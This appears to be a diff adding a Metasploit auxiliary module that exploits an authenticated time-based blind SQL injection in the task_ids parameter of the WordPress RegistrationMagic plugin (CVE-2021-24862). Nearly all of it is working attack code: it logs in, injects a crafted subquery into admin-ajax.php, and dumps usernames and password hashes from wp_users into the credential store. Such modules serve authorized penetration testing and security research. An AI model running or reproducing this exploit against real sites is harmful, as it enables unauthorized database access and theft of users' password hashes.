|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 8 | + include Msf::Auxiliary::Scanner |
| 9 | + include Msf::Exploit::SQLi |
| 10 | + |
| 11 | + require 'metasploit/framework/hashes/identify' |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Wordpress RegistrationMagic task_ids Authenticated SQLi', |
| 18 | + 'Description' => %q{ |
| 19 | + RegistrationMagic, a WordPress plugin, |
| 20 | + prior to 5.0.1.5 is affected by an authenticated SQL injection via the |
| 21 | + task_ids parameter. |
| 22 | + }, |
| 23 | + 'Author' => [ |
| 24 | + 'h00die', # msf module |
| 25 | + 'Hacker5preme (Ron Jost)', # edb |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => [ |
| 29 | + ['CVE', '2021-24862'], |
| 30 | + ['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24862/README.md'], |
| 31 | + ['EDB', '50686'], |
| 32 | + ], |
| 33 | + 'Actions' => [ |
| 34 | + ['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }] |
| 35 | + ], |
| 36 | + 'DefaultAction' => 'List Users', |
| 37 | + 'DisclosureDate' => '2022-01-23', |
| 38 | + 'Notes' => { |
| 39 | + 'Stability' => [CRASH_SAFE], |
| 40 | + 'SideEffects' => [IOC_IN_LOGS], |
| 41 | + 'Reliability' => [] |
| 42 | + } |
| 43 | + ) |
| 44 | + ) |
| 45 | + register_options [ |
| 46 | + OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]), |
| 47 | + OptString.new('USERNAME', [true, 'Valid Username for login', '']), |
| 48 | + OptString.new('PASSWORD', [true, 'Valid Password for login', '']) |
| 49 | + ] |
| 50 | + end |
| 51 | + |
| 52 | + def run_host(ip) |
| 53 | + unless wordpress_and_online? |
| 54 | + vprint_error('Server not online or not detected as wordpress') |
| 55 | + return |
| 56 | + end |
| 57 | + |
| 58 | + checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6') |
| 59 | + if checkcode == Msf::Exploit::CheckCode::Safe |
| 60 | + vprint_error('RegistrationMagic version not vulnerable') |
| 61 | + return |
| 62 | + end |
| 63 | + print_good('Vulnerable version of RegistrationMagic detected') |
| 64 | + |
| 65 | + cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) |
| 66 | + |
| 67 | + fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil? |
| 68 | + |
| 69 | + formid = Rex::Text.rand_text_numeric(2) |
| 70 | + vprint_status("Using formid of: #{formid}") |
| 71 | + @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| |
| 72 | + d = Rex::Text.rand_text_numeric(4) |
| 73 | + res = send_request_cgi({ |
| 74 | + 'method' => 'POST', |
| 75 | + 'cookie' => cookie, |
| 76 | + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), |
| 77 | + 'vars_get' => { |
| 78 | + 'page' => 'rm_ex_chronos_edit_task', |
| 79 | + 'rm_form_id' => '2' |
| 80 | + }, |
| 81 | + 'vars_post' => { |
| 82 | + 'action' => 'rm_chronos_ajax', |
| 83 | + 'rm_chronos_ajax_action' => 'duplicate_tasks_batch', |
| 84 | + 'task_ids[]' => "#{formid}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}" |
| 85 | + } |
| 86 | + }) |
| 87 | + fail_with Failure::Unreachable, 'Connection failed' unless res |
| 88 | + end |
| 89 | + |
| 90 | + unless @sqli.test_vulnerable |
| 91 | + print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.") |
| 92 | + return |
| 93 | + end |
| 94 | + columns = ['user_login', 'user_pass'] |
| 95 | + |
| 96 | + print_status('Enumerating Usernames and Password Hashes') |
| 97 | + data = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT']) |
| 98 | + |
| 99 | + table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns) |
| 100 | + data.each do |user| |
| 101 | + create_credential({ |
| 102 | + workspace_id: myworkspace_id, |
| 103 | + origin_type: :service, |
| 104 | + module_fullname: fullname, |
| 105 | + username: user[0], |
| 106 | + private_type: :nonreplayable_hash, |
| 107 | + jtr_format: identify_hash(user[1]), |
| 108 | + private_data: user[1], |
| 109 | + service_name: 'Wordpress', |
| 110 | + address: ip, |
| 111 | + port: datastore['RPORT'], |
| 112 | + protocol: 'tcp', |
| 113 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 114 | + }) |
| 115 | + table << user |
| 116 | + end |
| 117 | + print_good('Dumped table contents:') |
| 118 | + print_line(table.to_s) |
| 119 | + end |
| 120 | +end |
0 commit comments